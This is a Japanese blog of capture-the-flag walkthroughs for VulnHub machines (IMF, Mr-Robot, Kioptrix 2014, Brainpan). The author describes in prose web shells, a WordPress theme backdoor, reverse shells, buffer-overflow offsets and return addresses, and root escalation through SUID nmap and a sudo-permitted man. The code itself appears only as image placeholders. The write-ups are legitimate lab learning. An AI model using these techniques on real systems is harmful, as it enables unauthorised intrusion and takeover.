f:id:snoozekvn:20190620214347p:plain

lsコマンドを渡すと、フラッグが同ディレクトリ内にあることがわかったのでcatで表示させたのが次の画像。

f:id:snoozekvn:20190620214345p:plain

デコードすると次のような文字列を得られた。

f:id:snoozekvn:20190620220504p:plain

 

ここまでたどり着くのにかなりの時間を要した。

 

無事フラグも回収できたので、気を取り直して次のステップに進もう。

Webシェルの引数にwgetコマンドを与え、Kaliに置いてあるリバースシェルを張るスクリプトをダウンロードさせる。

f:id:snoozekvn:20190620220507p:plain

 次に、URL上でスクリプトを指定して実行させると、無事シェルが得られた。

シェルが得られたら次にすべきことは権限昇格だ。

PoCを使ってカーネルエクスプロイトを狙いたいがおそらくこれまでの流れから察するにうまくいかない。

先のフラッグで得られたagentservicesというヒントを使っていきたい。

netstatで裏でどんなサーバーサービスが待ち受けているのかを表示したのが次の画像。

f:id:snoozekvn:20190620220837p:plain

7788番ポートでLISTENがある。

IMF VM上でからアクセスしてみる。

f:id:snoozekvn:20190620220834p:plain

Agetn IDを求めるプログラムが動いていた。

明らかにこのプログラムが次の攻略対象だと思われる。

 

また/usr/local/binにこのagentプログラムとaccess_codesというファイルを見つけた。

f:id:snoozekvn:20190620220909p:plain

access_codesは何に使うんだろうか…?

とりあえずagentを解析するためにcatで出力し、Base64で表示可能な範囲に変換。

f:id:snoozekvn:20190620222224p:plain

この文字列をKaliにコピペし、デコードすればファイルを実質ダウンロードしたことになる。

f:id:snoozekvn:20190620222233p:plain

 

またIMF VMの方でpsコマンドを実行したところknockdを発見した。

これは予め決めておいた順にポートアクセスされたときに特定ポートを開放するというものだ。

さきほどのaccess_codeはおそらくknockするためのものだろう。

ためしにやってみる。

f:id:snoozekvn:20190620222230p:plain

冒頭のNmapを使ったスキャンでは開いていたなかった7788番ポートにアクセスできるようになっている。

やはりこのagentプログラムを利用して権限昇格を狙うので間違いないだろう。


まずはstringsコマンドで簡単にプログラムに含まれる文字列をチェックする。

f:id:snoozekvn:20190620225805p:plain

agentプログラムは最初にagent IDを求めてくる。

おそらくその部分の処理はstringsで表示された、strncmpで行われていると予想される。

ltraceでライブラリの呼び出しをチェックしてみる。

f:id:snoozekvn:20190620225756p:plain

やはりそうだった。

agent IDは48093572だ。

f:id:snoozekvn:20190620225841p:plain

次の入力で大量の文字列をインプットするとSegmentation faultを起こす。

このことからバッファオーバーフローを利用した攻撃が可能だと考えられる。

まずはバッファからeipを上書きできる場所までのオフセットを求める。

最初に一意な文字列を生成し、

f:id:snoozekvn:20190620225752p:plain

edbをagentにアタッチさせた状態で、先程の文字列をagentにインプットする。

するとedbの方で次のような出力を得る。

f:id:snoozekvn:20190620225748p:plain

eipが上書きされ、不法なアドレスにアクセスしようとした結果エラーが出たわけだ。

この文字列までのオフセットを次のコマンドで求める。

f:id:snoozekvn:20190620225808p:plain

なるほど、バッファからeipを上書きできる部分までのオフセットは168だということだ。

したがってmsfcenomでリバースシェルを張るシェルコードを生成し、

f:id:snoozekvn:20190620225902p:plain

見つけておいたcall eax(番地0x08048563)へと、eipが上書きされるように次のようにすれば権限昇格が狙える。

f:id:snoozekvn:20190620225906p:plain

Netcatで待ち受けて…

f:id:snoozekvn:20190620225913p:plain

よおし!!

 

ここまで長かった…

VulnHubのMr-Robot: 1をやってみたよ~!

VulnHubのMr-Robot: 1をやってみたよ~!ということでやっていく。

https://www.vulnhub.com/entry/mr-robot-1,151/

 

まずはアドレスを取得する。

f:id:snoozekvn:20190617013055p:plain

ついでポートスキャン。

f:id:snoozekvn:20190617013058p:plain

ふむ、80番ポートと443番ポートが開放されていることがわかる。

80番ポートでは単純なhttpが稼働していることがわかるのでアクセスしてみる。

f:id:snoozekvn:20190617013052p:plain

めちゃくちゃかっこいいサイトが表示された。

コマンドプロンプトっぽいところへ実際にコマンドが打てるようだ。

全て試してみたが、どれからも次のステップに進むためのヒントは得られなかった。

 

niktoとdirbを使ってサイトのディレクトリを探索する。

niktoの結果からは特に得られるものはなかった。

次の画像はdirbの出力結果の一部。

WordPressが動いてることと、robots.txtがあることがわかる。

f:id:snoozekvn:20190617032234p:plain

 

robots.txtにアクセスすると次のような表示を得た。

f:id:snoozekvn:20190617014327p:plain

明らかにこれはファイル名だ。

wgetでダウンロードしてみる。

f:id:snoozekvn:20190617014333p:plain

ファイルの中身を表示したのが次の画像。

最初にfsocity.dicをheadコマンドで出力している。

これは辞書ファイルで、おそらくブルートゥースアタックに使うものだと予想される。

key-1-of-3.txtは3つあるflagの1だと思われる。

f:id:snoozekvn:20190617014744p:plain

 

さて、robots.txtから得られるものはもうなにもない。

dirbで得られた結果の解析に戻ろう。

先程実行したdirbの結果から、このサーバーにはWordPressがインストールされていることがわかっている。

アクセスしてみる。

f:id:snoozekvn:20190617013739p:plain

もろにログインページだ。おそらく先程の辞書ファイルを使うのだろう。

パスワードリストとユーザー名リストにその辞書ファイルを指定し、WPScanでブルートフォースアタックを仕掛ける。

 

…が、単語数が多すぎて一向に終わらない。

もう一度辞書ファイルをよく見ると、単語の重複がかなりあることがわかった。

ソートし、uniqコマンドで重複を削除した後、再度ブルートフォースを仕掛ける。

…が、やはり単語数が多い。全く終わる気配がしない。

 

WPScanでスキャンをかけるもユーザー名などは見つからなかった。

f:id:snoozekvn:20190617013736p:plain

また、有効な脆弱性も見つからない。

 

何か見落としがあると考え、dirbの出力結果をもう一度見直す。

結論から述べると、licenseというページにヒントがあった。

次の画像がlicenseをブラウザで開いた様子。

f:id:snoozekvn:20190617014746p:plain

煽られている…?

うおおおおおおおおおおおお

 

…ページ下部にbase64エンコードされた文字列を発見。

f:id:snoozekvn:20190617014741p:plain

デコードしてみる。

f:id:snoozekvn:20190617020648p:plain

これは…ユーザー名とパスワード…?

WordPressのログインページで試してみる。

f:id:snoozekvn:20190617020650p:plain

ログインできた!

 

とはいえ、ここからどうすればいいのか皆目見当がつかない。

シェルが得られたりしないのだろうか。

しばらくダッシュボードをいじくり回してみる。

…よくわからないので調べる。

次の記事が参考になった。

https://www.hackingarticles.in/wordpress-penetration-testing-using-wpscan-metasploit/

これによるとプラグインバックドアを仕込めるとのこと。

よし、やっと方向性が見えてきた。

例によってpentestmonkeyからコードを拝借する。

http://pentestmonkey.net/tools/web-shells/php-reverse-shell

プラグインにアップロードできるのはzipファイルだけなので、phpファイルをzipにして…

 

…ここで気がついたのだが、プラグインをアップロードしても、このコードを実行する方法がない。

もう一度上の記事をよく読んで見ると、どうやらプラグインをアップロードするのではなくて、既存のプラグインを書き換えることでバックドアを仕込むようだ。

記事を参考に404.phpを書き換える。

これなら適当なページにアクセスすることで、簡単にバックドアコードを実行させられる。

f:id:snoozekvn:20190617022411p:plain

Netcatで待ち受けて…適当なページにアクセスする。

f:id:snoozekvn:20190617022415p:plain

よし!たしかにリバースシェルが張られている。

f:id:snoozekvn:20190617022417p:plain

 

カーネルエクスプロイトで権限昇格を狙う。

まずはエクスプロイトコードを照会。

Kali側でPythonを使った簡易サーバーをホストし、Mr-RobotVM側からエクスプロイトコードをwgetする。

gccコンパイルし、実行!

…とはいかず。2,3他のコードも試してみたがうまく刺さらなかった。

 

残念ながらここでギブアップした。

これまでの経験から、権限昇格における私の手札は次のようなものだ。

カーネルエクスプロイト。

sudo -lでroot権限で実行を許可されているコマンドを見つけ、そこからroot権限のシェルをスポーンさせる。

同様の考えで、root権限で動くサービスからシェルをスポーンさせる。

root権限のcronで定期実行されるスクリプトを書き換える。

 

しかし今回はこのどれも使えなかった。

writeupを見ると次のような方法でroot権限を得ていた。

まずSUIDがrootのものをすべて列挙し、

f:id:snoozekvn:20190617024748p:plain

今回はそのうちのNmapの利用している。

f:id:snoozekvn:20190617023729p:plain

古いバージョンのNmapはユーザーがシェルコマンドを実行できる対話モードが実装されているらしい。

pingなどのネットワークユーティリティは実行にroot権限が必要な場合があり、Nmapもこれに該当する。

sudo -lが封じられていてもroot権限で動くものを探させるということが学べた。

 

さて、残りのフラッグは/home/robot/と/rootにあった。

f:id:snoozekvn:20190617023727p:plain

f:id:snoozekvn:20190617031345p:plain

Thanks to the Leon Johnson for this CTF!

 

前半はWPScanのオプションが変更されていることに気づかず時間を溶かしてしまった一方で、後半は新しい手法を学ぶことができた。

また、その過程でペンテストについて参考になるブログをたくさん見つけることができた。熟読して手札を増やしていきたい。

 

 




 

 

VulnHubのKioptrix: 2014 (#5)をやってみたよ~!

VulnHubのKioptrix: 2014 (#5)をやってみたよ~!ということでやっていく。

https://www.vulnhub.com/entry/kioptrix-2014-5,62/

 

まずは対象VMのアドレスの取得から。

f:id:snoozekvn:20190616001811p:plain

アドレスをゲットできたらNmapでポースキャン。

f:id:snoozekvn:20190616001815p:plain

80番ポートと8080番ポートでhttpが稼働中のようなのでアクセスしてみる。

まずは80番ポートから。

f:id:snoozekvn:20190616001819p:plain

ソースにページ情報を発見。

f:id:snoozekvn:20190616002118p:plain

アクセスしてみる。

f:id:snoozekvn:20190616002206p:plain なにやらよくわからないページが表示された。

このページの内容自体にはヒントになりそうなものはなさそう。

ちなみに8080番ポートは権限が足りずアクセス拒否された。

 

niktoとdirbを使ってディレクトリ探索を実施。

f:id:snoozekvn:20190616002121p:plain

f:id:snoozekvn:20190616002125p:plain

どちらの結果にも、次のステップに進むための有益な情報は含まれていなかった。

 

どうしようかしばらく右往左往した。

アドレスにバージョン情報っぽい数列が含まれていたのでひょっとしたらと思い調べると、先程表示したpChartのページは、pChartというライブラリによってホストされているらしいことがわかった。

アホっぽい言い回しだが重要な収穫だ。

 

さっそくsearhsploitで調べてみるとやはり脆弱性情報があった。

f:id:snoozekvn:20190616002210p:plain

このテキストによるとDirectory TraversalとCross-Site Scriptingの脆弱性があるらしい。

f:id:snoozekvn:20190616002203p:plain

記述を参考にアドレスを打ち込んでみると、確かにディレクトリ内容が表示された。

f:id:snoozekvn:20190616003233p:plain

 

またXSSも再現できた。

f:id:snoozekvn:20190616003513p:plain

ただ、これらの情報からKioptrixVMへの侵入に繋がりそうな直接の情報は得られなかった。

ここで、すこし迷った。

次の一手は、ディレクトリトラバーサルXSS脆弱性を調整しさらなる情報窃取をすることだ。

はて、どうすればいいのだろうか。

わかっていることはFreeBSD上でApacheが動いているということだ。

ディレクトリトラバーサル脆弱性を利用し、他のファイルも見てみたい。できればクレデンシャルが含まれたファイルがあればそれがいい。

とはいえ、ダイレクトな情報が出てくるとは考えにくいので、まずはFreeBSDApacheをインストールしたときのデフォルトのディレクトリ構造を調べることにした。

そういう向きで検索をかけると次のサイトがヒットした。

f:id:snoozekvn:20190616011041p:plain

https://www.freebsd.org/doc/handbook/network-apache.html

これによると、FreeBSDApacheは設定ファイルを以下のディレクトリに作成するらしい。

 /usr/local/etc/apache2x/httpd.conf

ディレクトリトラバーサル脆弱性を利用し、このファイルを見てみよう。次の画像が得られたhttpd.conの内容だ。

f:id:snoozekvn:20190616003230p:plain

Apacheでは、各ページごとの設定をこのhttpd.confファイルに記述していく。

次のサイトを参考にしながら調査していった。

https://r7kamura.hatenablog.com/entry/20110222/1298371277

調査の結果、ページ最下部に記述されていた次の画像の部分が、8080番ポートへのアクセスを制限していることがわかった。

 

f:id:snoozekvn:20190616010042p:plain

これによると、user-agentがMozilla/4.0でなければ8080番ポートにはアクセスできない。

さっそくcurlコマンドで、user-agentのオプションを調整してアクセスしてみよう。
f:id:snoozekvn:20190616003824p:plain

8080番ポートにアクセスするとphptaxへのリンクが張ってあることがわかる。

分かりやすいようにページをダウンロードし、実際にブラウザ上に表示させてみる。

f:id:snoozekvn:20190616012423p:plainf:id:snoozekvn:20190616012420p:plain

再度curlを使って、phptax/へアクセスするとさらにリンクが貼ってあるがこの先に接続はできなかった。

ページをダウンロードし表示させてみる。

f:id:snoozekvn:20190616012439p:plain

f:id:snoozekvn:20190616012442p:plain

f:id:snoozekvn:20190616012445p:plain

おそらくphptax配下にもなにかページがある。

phptaxは、dirbが使うワードリストから漏れているので、再度dirbで新しく見つかったページphptax配下を探ってみる。

f:id:snoozekvn:20190616003827p:plain

phptax配下にいくつかページが有ることが確認できた。

次の画像はphptax/readme/index.htmlをcurlでダウンロードし、ブラウザ上で表示させたもの。

f:id:snoozekvn:20190616013542p:plain

ここにきてphptaxなるものが、なんらかのサービスであることがわかった。

ページ名だとばかり思っていたが、pChartと同じ轍を踏んでしまった。

 

さて、気を取り直してsearchsploitで脆弱性情報を照会する。

f:id:snoozekvn:20190616003816p:plain

一番上に表示されたRubyファイルを見てみる。

f:id:snoozekvn:20190616013815p:plain

Metasploit Frameworkで使用可能ということなので楽をさせてもらうことにする。

msfconsoleを開き、searchコマンドで先程の脆弱性を検索する。

f:id:snoozekvn:20190616013818p:plain

useコマンドで指定。

f:id:snoozekvn:20190616013813p:plain

オプションを表示し必要項目を埋める。

f:id:snoozekvn:20190616014018p:plain

exploit!

f:id:snoozekvn:20190616014021p:plain

うまく刺さったようだ。

 

ここからはFreeBSD脆弱性を突くことで権限昇格を狙っていく。

まずはOS情報から脆弱性をサーチ。

f:id:snoozekvn:20190616014016p:plain

見つかった脆弱性をKioptrixVMにアップロードする。

wgetコマンドがKioptrixVMになかったのでnetcatを使う。

最初にKali側でファイルを指定してやり、

f:id:snoozekvn:20190616014346p:plain

KioptrixVM側でnetcatコマンドを使ってダウンロードする。

f:id:snoozekvn:20190616014348p:plain

gccコンパイルし、実行!
f:id:snoozekvn:20190616014343p:plain

rootに移動し、

f:id:snoozekvn:20190616014643p:plain

フラッグゲット!やったぜ!

flagで述べられているように、Kioptrix:2014はテクニカルな部分はほぼ一本道だが、その道を見つけるまでの検索力を問う問題だった。

Thanks to the  author of Kioptrix for this CTF!

 

 

VulnHubでBrainpan: 1をやってみたよ~!

VulnHubでBrainpan: 1をやってみたよ~!ということでやっていく。

https://www.vulnhub.com/entry/brainpan-1,51/

 

まずはいつもどおりアドレスをゲットするところから始める。

f:id:snoozekvn:20190615170028p:plain

次はポートスキャン。

9999番ポートでabyssなるもの、10000番ポートでhttpサーバーが可動している模様。

まずはブラウザからhttpにアクセス。

f:id:snoozekvn:20190615170656p:plain

う~ん、ヒントはなさそう。

f:id:snoozekvn:20190615170209p:plain

9999番ポートで稼働中のabyssなるものはざっと検索してみたところWebサーバーぽい。netcatでアクセスしてみる。

f:id:snoozekvn:20190615174101p:plain

何やらバナーが表示されパスワードの入力を求められた。

適当な文字列を入力してみても当然弾かれる。

う~ん。

dirbでもう少し10000番ポートを探索してみることにする。

f:id:snoozekvn:20190615170026p:plain

/binがあるらしいのでアクセスしてみる。

f:id:snoozekvn:20190615171002p:plain

ダウンロードして中身をざっと見てみる。

f:id:snoozekvn:20190615171250p:plain

これは9999番ポートで出力されたバナーと全く同じ…

さらに含まれている文字列を見てみる。

f:id:snoozekvn:20190615171247p:plain

文字列比較やネットワーク系の命令が見えるなぁ。

Windows Emulatorことwineを使って実行してみる。

f:id:snoozekvn:20190615171005p:plain

9999番ポートにバインドしている…やっぱりBrainpanVMの9999番ポートで稼働中のものと同じものっぽい。

 

netcatで自分自身の9999番ポートに接続してみる。

f:id:snoozekvn:20190615170958p:plain

パスワードの入力を求められているので適当な文字を入力。当然ACCESS DENIED…残念。

と思いきや次のような出力がされていた。

f:id:snoozekvn:20190615171729p:plain

これはBOF攻撃ができるのか…?

Pythonでシンプルなファザーを書いてファジングしてみる。

ファジングに使ったコードは以下。

f:id:snoozekvn:20190615183357p:plain

すると次のように出力された。

f:id:snoozekvn:20190615171733p:plain

702bytesコピーしたところでオーバーフローしたとのこと。

ということは、オーバーフローしたポイントが502~702bytesにあるということだ。

具体的に何byte目でオーバーフローするのかさらに調査する。

文字列中の3bytes特定できれば、それが文字列中のどの部分なのかが一意に特定できる文字列を、次のコマンドで出力する。

f:id:snoozekvn:20190615173105p:plain

さてこの文字列をbrainpan.exeに流し込む。

書いたコードは以下。

f:id:snoozekvn:20190615183442p:plain

結果は次のようになった。

f:id:snoozekvn:20190615172353p:plain

アドレス0x35724134にアクセスしようとしてエラーを起こしている。

0x35724134をascii変換すると5rA4で、このことからバッファーの大きさは先程用意した文字列の先頭からちょうど5rA4までだとわかる。

では次のようにしてその長さを求めてみよう。

f:id:snoozekvn:20190615172356p:plain

バッファーの大きさは524bytesだと判明した。

さて、ここからどうするのかだが…

BOF攻撃を使ってKaliへリモートシェルを張らせるようなコマンドを実行させることができれば、BrainpanVMのシェルが取れそうだ。

msfvenomを使ってリバースシェルを張らせるペイロードを作成する。

f:id:snoozekvn:20190615175756p:plain

ペイロードを含んだコードを作成して、

f:id:snoozekvn:20190615183532p:plain

ncでリバースシェルを待ち受け後、実行!

すると次のような出力が得られた。f:id:snoozekvn:20190615180548p:plain

たぶんこれをBrainpanVMの9999ポートに試せば、シェルが得られるんだと思う。

ペイロードを書き込んだファイルのアドレスをBrainpanVMのアドレスに書き換えて実行してみる。ncで待ち受けるのを忘れないように!
f:id:snoozekvn:20190615180822p:plain

素晴らしい!シェルが得られているようだ。

さっそく内部を調査する。

シェルを操作していると変な挙動を示す。bashのつもりで動かすとうまくいかない。

多分いま操作しているのはwindowsのシェルであってbashではないからだろう。

f:id:snoozekvn:20190615180825p:plain

動かしづらいと思っていたら矢先に/bin/bashを見つけた。

ただbashが使えるのは使えるのだがいちいち直接bashを指定してやらねばならず、不便この上ない。

リバースシェルを貼らせてみる。

f:id:snoozekvn:20190615180818p:plain

f:id:snoozekvn:20190615182202p:plain

うまくいったようだ。いつもどおりのbashの要領で操作ができる。

さておもむろに、root権限で実行可能なファイルを調べて見ると、あるではないか!f:id:snoozekvn:20190615182205p:plain

これを使ってrootへの昇格をねらう。

このanansi_utlはいくつかのコマンドを実行できるようだ。試しにmanualコマンドを実行してみよう。

f:id:snoozekvn:20190615185953p:plain

これによるとanansi_utl manualは引数に与えられたコマンドのmanページを表示するものらしい。
これは怪しい。

以下のページにあるように、vimやmanなどはその中でさらにコマンドを実行可能だということが知られている。

https://www.hackingarticles.in/linux-privilege-escalation-using-exploiting-sudo-rights/

これを利用すればroot権限を引き継いだshを呼び出すことが可能だろう。

f:id:snoozekvn:20190615182200p:plain

よし!

f:id:snoozekvn:20190615182213p:plain

やったね!

Thanks to superkojiman for this CTF!

 

あとから気づいたんだけど画像が全部透けててぜんぜんやったねじゃないじゃん…